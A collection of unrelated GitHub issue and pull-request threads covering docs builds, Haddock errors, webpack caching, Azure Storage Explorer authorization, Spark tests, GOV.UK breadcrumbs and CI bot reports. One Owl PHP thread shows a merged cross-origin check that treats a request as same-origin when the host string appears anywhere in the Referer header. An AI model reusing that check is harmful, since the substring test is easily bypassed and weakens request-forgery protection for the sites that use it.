[Admin] Publish

Docs Build status updates of commit 3814ff1:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/concepts/correlated-objects-pattern.md
:white_check_mark:Succeeded
View

docs/concepts/privacy-and-security.md
:white_check_mark:Succeeded
View

docs/concepts/resource-limits-and-performance-optimization.md
:white_check_mark:Succeeded
View

docs/design/contextual-tabs.md
:white_check_mark:Succeeded
View

docs/design/disable-add-in-commands.md
:white_check_mark:Succeeded
View

docs/develop/addressing-same-origin-policy-limitations.md
:white_check_mark:Succeeded
View

docs/develop/application-specific-api-model.md
:white_check_mark:Succeeded
View

docs/develop/asynchronous-programming-in-office-add-ins.md
:white_check_mark:Succeeded
View

docs/develop/automatically-open-a-task-pane-with-a-document.md
:white_check_mark:Succeeded
View

docs/develop/bind-to-regions-in-a-document-or-spreadsheet.md
:white_check_mark:Succeeded
View

docs/develop/configure-your-add-in-to-use-a-shared-runtime.md
:white_check_mark:Succeeded
View

docs/develop/convert-javascript-to-typescript.md
:white_check_mark:Succeeded
View

docs/develop/create-addin-commands.md
:white_check_mark:Succeeded
View

docs/develop/create-sso-office-add-ins-aspnet.md
:white_check_mark:Succeeded
View

docs/develop/develop-office-add-ins-for-the-ipad.md
:white_check_mark:Succeeded
View

docs/develop/dialog-api-in-office-add-ins.md
:white_check_mark:Succeeded
View

docs/develop/dialog-handle-errors-events.md
:white_check_mark:Succeeded
View

docs/develop/get-javascript-intellisense-in-visual-studio.md
:white_check_mark:Succeeded
View

docs/develop/itp-and-third-party-cookies.md
:white_check_mark:Succeeded
View

docs/develop/localization.md
:white_check_mark:Succeeded
View

docs/develop/parent-to-dialog.md
:white_check_mark:Succeeded
View

docs/develop/show-hide-add-in.md
:white_check_mark:Succeeded
View

docs/develop/specify-office-hosts-and-api-requirements.md
:white_check_mark:Succeeded
View

docs/excel/excel-add-ins-delay-in-cell-edit.md
:white_check_mark:Succeeded
View

docs/excel/excel-add-ins-ranges-remove-duplicates.md
:white_check_mark:Succeeded
View

This comment lists only the first 25 files in the pull request.
For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel


[Employment Schema] Poorly curated constraint property pairs

These are pairs of constraint properties that represent very similar concepts, and yet, are modeled separately, and when they co-occur in the same StatVar cause much confusion (especially in the StatVar Hierarchy).

employment vs. employmentStatus:  The latter is supposed to represent labor-force, except some imports misuse it as "employment".  We should modify SVs that misuse (there are legacy popobs ones too), and rename employmentStatus to laborForceStatus.

workerStatus vs. workerClassification:  The former just says Worker/Nonworker, and the latter classifies them in a finer way. We should probably get rid of workerStatus, and include the "Nonworker" in workerClassification.

workStatus vs. workExperience vs. workPeriod:  The first one represents whether worker worked in the last year, or not (and also misused with number of workers in Household).  The second one, which only represents full-time work or not. The third one represents the quantity worked (N weeks).  Perhaps we should fold workExperience into workStatus and call it recentWorkStatus or something.  And rename workPeriod to quantityWorked, or something more precise.

A useful query to list the constraint values and SVs that a cprop shows up in is here.

Tracked in internal bug


Does not comply with Hacktoberfest rules

https://hacktoberfest.digitalocean.com/hacktoberfest-update
Hi
Can you please add two labels:-

At you repo, main page-> hacktoberfest label

Closed PR's-> label->hacktoberfest-accepted

yeah,edited repo settings, thank you!


LexParseRn.hs: non-exhaustive pattern match

haddockPhase
Running Haddock for wai-<IP_ADDRESS>...
Warning: The program 'hscolour' version >=1.8 is required but it could not be
found.
Preprocessing library wai-<IP_ADDRESS>...
Warning: The documentation for the following packages are not installed. No
links will be generated to these packages: bytestring-builder-<IP_ADDRESS>.0

Network/Wai.hs:97:1: Warning:
    The import of ‘Data.Monoid’ is redundant
      except perhaps to import instances from ‘Data.Monoid’
    To import instances alone, use: import Data.Monoid()
Haddock coverage:
  75% (  6 /  8) in 'Network.Wai.Internal'
  Missing documentation for:
     (Network/Wai/Internal.hs:98)
    Response (Network/Wai/Internal.hs:119)
  98% ( 47 / 48) in 'Network.Wai'
  Missing documentation for:
    Response (Network/Wai/Internal.hs:119)
haddock: internal error: src/Haddock/Interface/LexParseRn.hs:(87,12)-(139,59): Non-exhaustive patterns in case

How am I meant to reproduce this? From what I can see the pattern match is actually exhaustive so without any reproduction instructions I don't know how to make any progress.

I’m sorry, I’ve been trying to reproduce this with a normal setup; will try again next week.

I found out where exactly that problem happens:
$ cabal configure --ghjs
Configuring wai-<IP_ADDRESS>...

$ cabal haddock
Running Haddock for wai-<IP_ADDRESS>...
Preprocessing library wai-<IP_ADDRESS>...
Warning: The documentation for the following packages are not installed. No
links will be generated to these packages: bytestring-builder-<IP_ADDRESS>.0
Haddock coverage:
  75% (  6 /  8) in 'Network.Wai.Internal'
  Missing documentation for:
     (Network/Wai/Internal.hs:98)
    Response (Network/Wai/Internal.hs:119)

Network/Wai.hs:97:1: Warning:
    The import of ‘Data.Monoid’ is redundant
      except perhaps to import instances from ‘Data.Monoid’
    To import instances alone, use: import Data.Monoid()
  98% ( 47 / 48) in 'Network.Wai'
  Missing documentation for:
    Response (Network/Wai/Internal.hs:119)
haddock: internal error: src/Haddock/Interface/LexParseRn.hs:(87,12)-(139,59): Non-exhaustive patterns in case

It doesn’t happen when it’s configured without --ghcjs.

I'm closing this since:

the only version of haddock-api on Hackage where src/Haddock/Interface/LexParseRn.hs:(87,12)-(139,59) corresponds to a match is 2.16.1
that version requires haddock-library = 1.2.* and the only matching versions on Hackage are 1.2.0 and 1.2.1
for both of those versions, the pattern match is exhaustive

So then how did this happen? After some git sleuthing, here is my theory:
The version of haddock-library that haddock-api was compiled against was one that was built from source and not Hackage! There was a brief time after haddock-library-1.2.1 was released to Hackage and before the version was bumped to haddock-library-1.4.1 during which one could've installed from source a version of haddock-library which would have claimed to be 1.2.1 but for which the pattern match in haddock-api-2.16.1 would not have been exhaustive (DocMathInline was added during this time).
In any case, no longer an issue.


connect to API

Project Milestone: Connect to API
Highlights:

Connect React and Redux.
Connect an existing API via Redux and use the data to display something in a UI.

Summary:

In this project I connected my React-Redux application to an existing API to create and remove books in a remote server.

Thank you for the review 👍 Changes were made as requested

Thank you 👍


hitting the Remote Origin Not Allowed with a form post

Hello
So - I noticed there was a todo in the  isCrossOrigin() function in vendors/owl/owl/lib/modules/Web.php
The todo was to check the referrer, and I've presumed that it's to check it against the host.
for my purpose I've just done
               if (strpos($referrer, $host)) {
                   $this->isCrossOrigin = false;
               } else {
                   $this->isCrossOrigin = true;
               }

not sure if you're allowing pull requests? but I've forked your repo as it was a blocker for me for what I needed to do.

Yep, that's it.  Happy to take it as a pull request.  Thanks!

I'll make a PR later this evening for that then. - have to say I am really enjoying using owl !

https://github.com/joelesko/owl/pull/4 << PR for this.

Merged.  Thanks!


Object doesn't support property or method 'e'

Hi,
Getting this error intermittently when using HardSourceWebpackPlugin
Deleting the hard source cache directory fixes the problem
Something as small as adding an extra semi-colon can cause the issue
Thought it may have been the interplay between webpackcache+babelcache, however have disabled both and still get this error
If i run with webpackcache+babelcache without HardSourceWebpackPlugin. dont get the error
Seems to occur more often on full build rather than incremental
"hard-source-webpack-plugin": "^0.4.9",
"webpack": "^3.3.0",
"webpack-dev-middleware": "^1.11.0",
"webpack-hot-middleware": "^2.18.2",
Have tried various combinations of config
      new HardSourceWebpackPlugin({
           cacheDirectory: path.resolve(__dirname, '../../..', 'output/cache_hardsource/[confighash]'),
           //recordsPath: './output/hardsourcecache/[confighash]/records.json', //note: this is set for whole config
           configHash: require('node-object-hash')({sort: false}).hash,
           // configHash: function(webpackConfig) {
           //     return process.env.APP_ENV; //tocheck: things like dev-server make unseen modifications to your config, which should be cached independently
           // },
           // environmentHash: { //removed as only need this for vendoring or yarn, https://bocoup.com/blog/screencast-transcript-improving-webpack-build-times
           //     root: process.cwd(),
           //     directories: ['node_modules'],
           //     files: ['package.json'],
           // },
       })

Hey @djeeg, it'd help me if you can give me some more info.
Can you post the relevant error stack trace? Is it a build time or runtime error?
What other plugins and loaders are you using when this happens?

Closing due to lack of info.


AdmissionControl Split RCA

Signed-off-by: Mital Awachat<EMAIL_ADDRESS>Is your feature request related to a problem? Please provide an existing Issue # , or describe.
Split admission control rca into SmallHeap / MediumHeap / LargeHeap rca.
Check List

[x] New functionality includes testing.

[x] All tests pass

[x] New functionality has been documented.

[x] New functionality has javadoc added

[x] Commits are signed per the DCO using --signoff

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

Codecov Report

Merging #69 (bea56b1) into main (cdcae41) will increase coverage by 0.05%.
The diff coverage is 80.85%.

:exclamation: Current head bea56b1 differs from pull request most recent head 6d3810a. Consider uploading reports for the commit 6d3810a to get more accurate results

@@             Coverage Diff              @@
##               main      #69      +/-   ##
============================================
+ Coverage     72.15%   72.20%   +0.05%
- Complexity     2928     2949      +21
============================================
  Files           371      376       +5
  Lines         18627    18667      +40
  Branches       1415     1427      +12
============================================
+ Hits          13440    13479      +39
+ Misses         4612     4607       -5
- Partials        575      581       +6

Impacted Files
Coverage Δ

.../decisionmaker/actions/AdmissionControlAction.java
80.35% <0.00%> (-1.47%)
:arrow_down:

...nalyzer/rca/configs/AdmissionControlRcaConfig.java
0.00% <ø> (ø)

...ensearch/performanceanalyzer/util/range/Range.java
55.55% <ø> (ø)

.../util/range/RequestSizeHeapRangeConfiguration.java
94.11% <ø> (ø)

...tore/rca/admissioncontrol/heap/HeapRcaFactory.java
70.00% <70.00%> (ø)

...a/store/rca/admissioncontrol/model/HeapMetric.java
77.77% <77.77%> (ø)

...store/rca/admissioncontrol/heap/MediumHeapRca.java
80.64% <80.64%> (ø)

...tore/rca/admissioncontrol/AdmissionControlRca.java
63.15% <81.81%> (-2.70%)
:arrow_down:

.../store/rca/admissioncontrol/heap/LargeHeapRca.java
87.50% <87.50%> (ø)

.../store/rca/admissioncontrol/heap/SmallHeapRca.java
87.50% <87.50%> (ø)

... and 11 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update cdcae41...6d3810a. Read the comment docs.

In order to avoid issues like rca flowunits not reaching the deciders that we encountered recently, can we add gauntlet tests to confirm that end-to-end workflow is working as expected?
Also, please add testing details to the PR.

One major concern I have is LargeHeapRca, MediumHeapRca and SmallHeapRca are inputs to AdmissionControlRca. Currently, we do not have rca's that reference each other directly. We want to have RCAs independent of each other and hook them up if needed using the analysis graph.
I think LargeHeapRca, MediumHeapRca and SmallHeapRca are more of utility classes that AdmissionControlRca uses for emitting its status flowunits. If yes, can we make them as util classes. One another alternative is to keep them as RCA's and remove the admission control rca.


use case: I use different spec files for different OS releases

For people who have different spec files in different dist-git branches, packit needs to pick the correct spec for the respective branch.
We can easily define an env to say the targets we want to build for.
notes:

but we submit one build in copr for all the targets

TODO:

[ ] docs
[ ] code

Related: https://github.com/packit-service/packit/issues/371

Closing as duplicate of #371


rkt status: implement status

Simple querying of container status by uuid is provided.
The pid of the container's stage1, an exited boolean, and per-imageid
exit status codes are printed when available.
Container exit synchronization occurs when --wait is specified.
Examples:
Already exited but not yet garbage collected container:
$ rkt status --uuid 32e5c3d4-c851-4c46-bddc-b52c46449523
pid=11219
exited=true
sha256-f9124faae79eb859b27581d9673a2d29a8e394a2685088753264dea276dd7571=0
$
Already exited and "marked" for garbage collection by rkt gc (same as above):
$ rkt status --uuid 32e5c3d4-c851-4c46-bddc-b52c46449523
pid=11219
exited=true
sha256-f9124faae79eb859b27581d9673a2d29a8e394a2685088753264dea276dd7571=0
$
Already exited and actively being discarded by rkt gc (treated as gone):
$ bin/rkt status --uuid 874d5c50-ee5e-4cb9-9b30-c95778398e43
Unable to query status: "874d5c50-ee5e-4cb9-9b30-c95778398e43" is being removed
$
Currently executing container:
$ rkt status --uuid 8b06b7af-7d53-4723-bc0c-fe6e47463fcb
pid=12227
exited=false
$
Waiting on potentially executing container to exit for exit status:
$ time bin/rkt status --uuid ec5df2c6-b5d9-495d-aea0-c2cf5da706c2 --wait
pid=12319
exited=true
sha256-f9124faae79eb859b27581d9673a2d29a8e394a2685088753264dea276dd7571=0
real    0m21.470s  <<< note delay before returning
user    0m0.028s
sys     0m0.004s
$
$ time bin/rkt status --uuid ec5df2c6-b5d9-495d-aea0-c2cf5da706c2 --wait
pid=12319
exited=true
sha256-f9124faae79eb859b27581d9673a2d29a8e394a2685088753264dea276dd7571=0
real    0m0.033s  <<< note zero delay when already exited
user    0m0.024s
sys     0m0.008s
$

@jonboulle any input on the latest state of this guy?

One small comment, lgtm after that, let's get this in!


Accessing Azure Storage Account Using Azure Storage Explorer from behind a Proxy

Preflight Checklist

[X] I have installed the latest version of Storage Explorer.
[X] I have checked existing resources, including the troubleshooting guide and the release notes.
[X] I have searched for similar issues.

Storage Explorer Version
1.21.2
Regression From
No
Architecture
x64
Storage Explorer Build Number
20210924.14
Platform
Windows
OS Version
Windows Server 2016 Standard
Bug Description
Unable to list out Azure storage account blob containers using Storage Explorer from an on-premise Server behind a Proxy (proxy does not require authentication).
Microsoft TrackingID#2110040040007117
Steps to Reproduce

Launch Storage Explorer
Add an Account
Select Subscription
Enter credentials
Explore to the Storage Account
Expand Storage Account
Expand Blob Containers

Actual Experience
Receive the following error message when listing out blobs:
From Storage Explorer Error Details:
Unable to retrieve child resources.
Details:
{
"name": "RestError",
"message": "This request is not authorized to perform this operation.\nRequestId:9f4a97f1-f01e-0068-3f74-c72b57000000\nTime:2021-10-22T18:43:45.3588188Z",
Repetitive log messages in StorageUtilitiesSingleton-4256-s2c1fvxq-1.log.
10/22/2021 13:10:43 : Error : [MSAL.Extension][2021-10-22T18:10:43.5083616Z] An exception was encountered while reading data from the MsalCacheStorage : System.Security.Cryptography.CryptographicException: Key not valid for use in specified state.
at System.Security.Cryptography.ProtectedData.Unprotect(Byte[] encryptedData, Byte[] optionalEntropy, DataProtectionScope scope)
at Microsoft.Identity.Client.Extensions.Msal.DpApiEncryptedFileAccessor.Read()
at Microsoft.Identity.Client.Extensions.Msal.MsalCacheStorage.ReadData(Boolean ignoreExceptions)
10/22/2021 13:10:43 : Error : [MSAL.Extension][2021-10-22T18:10:43.5903824Z] An exception was encountered while reading data from the MsalCacheStorage : System.Security.Cryptography.CryptographicException: Key not valid for use in specified state.
Expected Experience
Should be able to list blob containers with credentials that have been verified to have access (using an external machine) and the proxy server's external IP address added to the storage account network rules.
Additional Context
Microsoft has recommended I open a Storage Explorer Issue and look at the following options:
a. Configure token caching so that it does not fail on encryption errors. In this case, MSAL will store tokens in memory only. The user will have to re-login into their app after they restart it, but at least things will work.
b. If encryption is not available, it is possible to store tokens in clear using a protected HDD folder that only the user has access to.

I believe this issue is now being handled by an ICM opened via a customer support ticket.

I believe this issue is now being handled by an ICM opened via a customer support ticket.

Has there been any update to this? Currently, we can only upload files to our storage account via Synapse Studio. Furthermore, disabling vnet security seems to resolve all issues. We are behind a VPN but there was no problem with that in the past.

Hi @Michael-Kagnew do you work with/are you related to the original author of this issue, or are you just someone else also seeing this error message:

An exception was encountered while reading data from the MsalCacheStorage : System.Security.Cryptography.CryptographicException: Key not valid for use in specified state.

Hello @MRayermannMSFT , I'm not related with the original poster in anyway, however we are dealing with the same issue at my organization, where the first snippet of the error states:

"message": "This request is not authorized to perform this operation

@Michael-Kagnew unfortunately the reasons for getting the error "This request is not authorized to perform this operation" are far and wide. Common reasons for it include:

RBAC permissions not setup correctly (I encourage you to double check)
Firewall rules
IP restrictions
SAS tokens expiring/stored access policies expiring

If you don't think any of those apply to you (and have checked), then I would recommend opening a support ticket via the portal. They can help you dig into the exact reasoning why better than we can here on GitHub.

Closing due to lack of response. If you are still having problems, we suggest opening an Azure support ticket via the portal.


[SPARK-44827][PYTHON][TESTS] Fix test when ansi mode enabled

What changes were proposed in this pull request?
The pr aims to fix some UT when SPARK_ANSI_SQL_MODE=true, include:

test_assert_approx_equal_decimaltype_custom_rtol_pass
functions.to_unix_timestamp
DataFrame.union

Why are the changes needed?
Make pyspark test happy.
When Ansi workflow daily ga runs, the following error occurs, eg: https://github.com/apache/spark/actions/runs/5873530086/job/15926967006

Does this PR introduce any user-facing change?
No.
How was this patch tested?

Pass GA.
Manually test:

(base) panbingkun:~/Developer/spark/spark-community$export SPARK_ANSI_SQL_MODE=true
(base) panbingkun:~/Developer/spark/spark-community$python/run-tests --testnames 'pyspark.sql.tests.connect.test_utils ConnectUtilsTests.test_assert_approx_equal_decimaltype_custom_rtol_pass'
Running PySpark tests. Output is in /Users/panbingkun/Developer/spark/spark-community/python/unit-tests.log
Will test against the following Python executables: ['python3.9']
Will test the following Python tests: ['pyspark.sql.tests.connect.test_utils ConnectUtilsTests.test_assert_approx_equal_decimaltype_custom_rtol_pass']
python3.9 python_implementation is CPython
python3.9 version is: Python 3.9.13
Starting test(python3.9): pyspark.sql.tests.connect.test_utils ConnectUtilsTests.test_assert_approx_equal_decimaltype_custom_rtol_pass (temp output: /Users/panbingkun/Developer/spark/spark-community/python/target/b59e563b-ac28-4279-ae95-462cde8f19c3/python3.9__pyspark.sql.tests.connect.test_utils_ConnectUtilsTests.test_assert_approx_equal_decimaltype_custom_rtol_pass__9ypt4lse.log)
Finished test(python3.9): pyspark.sql.tests.connect.test_utils ConnectUtilsTests.test_assert_approx_equal_decimaltype_custom_rtol_pass (8s)
Tests passed in 8 seconds

cc @HyukjinKwon @ueshin @zhengruifeng FYI

cc @asl3

All done.

Before merging, I need to change the parameters modified for testing back.

Merged to master.


How to don't serialize the class field in FastJson?

Today I'm using FastJson, the following is my demo code.
`
class User {
private final String name;
private final int age;
private final String birthday;
private String password;
public User(String name, int age, String birthday) {
this.name = name;
this.age = age;
this.birthday = birthday;
}
public void setPassword(String pwd) {
this.password = pwd;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
public String getBirthday() {
return birthday;
}
public String getPassword() {
return password;
}
@Override
public String toString() {
return "User{" +
"name='" + name + ''' +
", age=" + age +
", birthday='" + birthday + ''' +
", password='" + password + ''' +
'}';
}
}
`
It will serialize the field which has getXXX method. I do not want to serialize the password, and I will call the getPassword() to get the password value.
I do not want to rename the method getPassword and update the variable password to public.
Does anyone know how to ignore a field when serializing this class?

@JSONField(serialize = false)

Thanks for your answer. I got it from JSONField annotation yesterday. But I forgot to close this.


Dont show breadcrumb item with no url

Part of updating breadcrumb behaviour as per :
https://trello.com/c/YuObLgSq/10-fix-breadcrumbs-on-mobile
https://docs.google.com/document/d/1OFG1Ln6VeCR_bc0qmUtRwMJU62Ljw4F3HO6hq2yloXk/
What
Add logic to check for breadcrumb item to not show if it does not have a corresponding "url"
Why
Breadcrumb items with no "url", do not aid navigation. Specifically, when a breadcrumb is collapsed on a mobile device to show only first and last items, there is no method to navigate to the parent page

@RobBond-GDS this looks to be a breaking change - I'm a bit confused why it was released as a patch release?
This breaks Content Publisher where we make use of the breadcrumb component to display hierarchical information without links. So we can't currently update govuk_publishing_components. Example:

I'm also a bit confused why we had to change the component for this rather just not pass in items without links at point of usage. It seems like potentially likely to cause bugs if some items are passed are just ignored.

Thanks for letting us know @kevindew! Sorry, we weren't aware that anyone on GOVUK was using breadcrumbs in that way.
This change means that passing in text but no url will mean mobile users will be stuck with just one navigation link (normally the homepage in the case of GOVUK). Does this collapsing change also break your usage of breadcrumbs in Content Publisher?

@kevindew apologies, I didn't realise this was a breaking change when I did the latest version.

Thanks for letting us know @kevindew! Sorry, we weren't aware that anyone on GOVUK was using breadcrumbs in that way.
This change means that passing in text but no url will mean mobile users will be stuck with just one navigation link (normally the homepage in the case of GOVUK). Does this collapsing change also break your usage of breadcrumbs in Content Publisher?

Ah yes, thanks for letting us know about that. That does indeed affect our presentation on mobile devices and we lose the hierarchical information.
Hmm we seem to be caught in a bit of an awkward where this component is diverging from the general purpose use of the design system one to a quite specific GOV.UK frontend navigation. I wonder if there's something we can do to uncouple these cases.
Any thoughts @alex-ju ?

finders-frontend is using it in a similar way to content-publisher I just noticed via a failing test

@kr8n3r have you got an example?

yep, when you go from an organisation latest documents to the search.
example https://www.gov.uk/search/all?organisations[]=competition-and-markets-authority&order=updated-newest&parent=competition-and-markets-authority

I think the finder-frontend case is something which we're trying to avoid and make more consistent on GOVUK, so I think the solution there would be to stop providing the "Search" part of the breadcrumb.
As for the Content Publisher use, perhaps the breadcrumb component isn't the most appropriate? The only other way I can think of having the two co-existing is putting this new behaviour back behind a flag so it doesn't automatically apply (or can be overridden).

yeah, Jeremy is looking at breadcrumbs on finders so that can be sorted in the near future.

It looks like we have quite a few of the finder-frontend style cases:
https://github.com/alphagov/search-admin/blob/01ebc9123086d086bc851c490986d8b57f7113f1/app/views/recommended_links/show.html.erb#L1-L11
https://github.com/alphagov/release/blob/b9ffa6e0013aa93e81b4bea996c19a1f449f882f/app/views/deployments/new.html.erb#L3-L9
I wonder if the best route forward is to revert the changes done as minor/patch releases and re-instate them behind opt-in flags for the time being? It feels like there is a wider discussion about the scope of this component to decide if it's only for a particular use case which may end up being a major release (I'd guess we'd also want a non url to result in an exception than being silently ignored). How's that sound or is there another route we can take?

Sounds good @kevindew , I'll take a look at reverting those changes tomorrow

Sounds good @kevindew , I'll take a look at reverting those changes tomorrow

Thank you 👍 happy to help too, feel free to ping me for reviews.

Hmm we seem to be caught in a bit of an awkward where this component is diverging from the general purpose use of the design system one to a quite specific GOV.UK frontend navigation. I wonder if there's something we can do to uncouple these cases.
Any thoughts @alex-ju ?

I agree we should try and keep the component generic and aligned with the Design System. We shall try to accommodate both (if not multiple) scenarios by component configuration.

PR here to address these comments: https://github.com/alphagov/govuk_publishing_components/pull/1330


Test deadlocks

/test all

@howardjohn: The following test failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

release-notes_istio
80c1c5b516e1e3d3b655f0b3aca1b698f32ef0ca
link
true
/test release-notes_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

release-notes_istio
80c1c5b516e1e3d3b655f0b3aca1b698f32ef0ca
link
true
/test release-notes_istio

gencheck_istio
80c1c5b516e1e3d3b655f0b3aca1b698f32ef0ca
link
true
/test gencheck_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/test integ-security-istiodremote_istio

/test all

@howardjohn: The following tests failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

gencheck_istio
80c1c5b516e1e3d3b655f0b3aca1b698f32ef0ca
link
true
/test gencheck_istio

release-notes_istio
80c1c5b516e1e3d3b655f0b3aca1b698f32ef0ca
link
true
/test release-notes_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

release-notes_istio
80c1c5b516e1e3d3b655f0b3aca1b698f32ef0ca
link
true
/test release-notes_istio

gencheck_istio
80c1c5b516e1e3d3b655f0b3aca1b698f32ef0ca
link
true
/test gencheck_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name
Commit
Details
Required
Rerun command

release-notes_istio
80c1c5b516e1e3d3b655f0b3aca1b698f32ef0ca
link
true
/test release-notes_istio

gencheck_istio
80c1c5b516e1e3d3b655f0b3aca1b698f32ef0ca
link
true
/test gencheck_istio

integ-security-multicluster_istio
80c1c5b516e1e3d3b655f0b3aca1b698f32ef0ca
link
true
/test integ-security-multicluster_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.


Backport "HBASE-26776 RpcServer failure to SASL handshake always logs user "unknown" to audit log (#4138)" to branch-2.4

Signed-off-by: Andrew Purtell<EMAIL_ADDRESS>Signed-off-by: Peter Somogyi<EMAIL_ADDRESS>

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
1m 12s
Docker mode activated.

-0 :warning:
yetus
0m  5s
Unprocessed flag(s): --brief-report-file --spotbugs-strict-precheck --whitespace-eol-ignore-list --whitespace-tabs-ignore-list --quick-hadoopcheck

_ Prechecks _

_ branch-2.4 Compile Tests _

+1 :green_heart:
mvninstall
2m 47s
branch-2.4 passed

+1 :green_heart:
compile
0m 42s
branch-2.4 passed

+1 :green_heart:
shadedjars
3m 52s
branch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
javadoc
0m 28s
branch-2.4 passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
2m 31s
the patch passed

+1 :green_heart:
compile
0m 42s
the patch passed

+1 :green_heart:
javac
0m 42s
the patch passed

+1 :green_heart:
shadedjars
3m 51s
patch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
javadoc
0m 25s
the patch passed

_ Other Tests _

+1 :green_heart:
unit
318m 25s
hbase-server in the patch passed.

336m 34s

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hbase.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-4143/1/artifact/yetus-jdk11-hadoop3-check/output/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/4143

Optional Tests
javac javadoc unit shadedjars compile

uname
Linux 919898d3c14c 5.4.0-90-generic #101-Ubuntu SMP Fri Oct 15 20:00:55 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/hbase-personality.sh

git revision
branch-2.4 / 25dc0eb44b

Default Java
AdoptOpenJDK-11.0.10+9

Test Results
https://ci-hbase.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-4143/1/testReport/

Max. process+thread count
2091 (vs. ulimit of 12500)

modules
C: hbase-server U: hbase-server

Console output
https://ci-hbase.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-4143/1/console

versions
git=2.17.1 maven=3.6.3

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
1m 16s
Docker mode activated.

-0 :warning:
yetus
0m  6s
Unprocessed flag(s): --brief-report-file --spotbugs-strict-precheck --whitespace-eol-ignore-list --whitespace-tabs-ignore-list --quick-hadoopcheck

_ Prechecks _

_ branch-2.4 Compile Tests _

+1 :green_heart:
mvninstall
2m 59s
branch-2.4 passed

+1 :green_heart:
compile
0m 40s
branch-2.4 passed

+1 :green_heart:
shadedjars
4m 22s
branch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
javadoc
0m 27s
branch-2.4 passed

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
2m 28s
the patch passed

+1 :green_heart:
compile
0m 37s
the patch passed

+1 :green_heart:
javac
0m 37s
the patch passed

+1 :green_heart:
shadedjars
4m 11s
patch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
javadoc
0m 25s
the patch passed

_ Other Tests _

+1 :green_heart:
unit
322m 23s
hbase-server in the patch passed.

341m 21s

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hbase.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-4143/1/artifact/yetus-jdk8-hadoop2-check/output/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/4143

Optional Tests
javac javadoc unit shadedjars compile

uname
Linux efd22a0e2eeb 5.4.0-1025-aws #25~18.04.1-Ubuntu SMP Fri Sep 11 12:03:04 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/hbase-personality.sh

git revision
branch-2.4 / 25dc0eb44b

Default Java
AdoptOpenJDK-1.8.0_282-b08

Test Results
https://ci-hbase.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-4143/1/testReport/

Max. process+thread count
1735 (vs. ulimit of 12500)

modules
C: hbase-server U: hbase-server

Console output
https://ci-hbase.apache.org/job/HBase-PreCommit-GitHub-PR/job/PR-4143/1/console

versions
git=2.17.1 maven=3.6.3

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.


[KOGITO-3063] Redirecting kogito CLI default output to stdout

Signed-off-by: Ricardo Zanini<EMAIL_ADDRESS>See: https://issues.redhat.com/browse/KOGITO-3063
This is incredible. We should take control of the CLI for testing purposes, but instead we were setting to nil. We should be fine now. Tested redirecting the output to /dev/null like kogito install data-index >/dev/null. It's working.
Many thanks for submiting your Pull Request :heart:!
Please make sure that your PR meets the following requirements:

[x] You have read the contributors' guide
[x] Pull Request title is properly formatted: [KOGITO-XYZ] Subject
[x] Pull Request contains link to the JIRA issue
[x] Pull Request contains description of the issue
[x] Pull Request does not include fixes for issues other than the main ticket
[x] Your feature/bug fix has a unit test that verifies it
[x] You've tested the new feature/bug fix in an actual OpenShift cluster

/jenkins test


Config file instead of hardwired stuff

Make it by default in one-note. If not there, in the Documents directory? Or an ENV variable?

How do we deal with machine specific stuff - like the fact that the data disk will be different on every machine, though the CERN and TeV stuff might be ok in a single file? Just do the list? That will work for now...


Add nix-snapshotter support to the embedded containerd

Proposed Changes

Add nix-snapshotter plugin to the embedded containerd to enable rootless k3s + nix-snapshotter

Types of Changes

Adds nix-snapshotter as a go dependency
Add nix as a valid snapshotter option for the agent
When using nix snapshotter, also use it as an image service

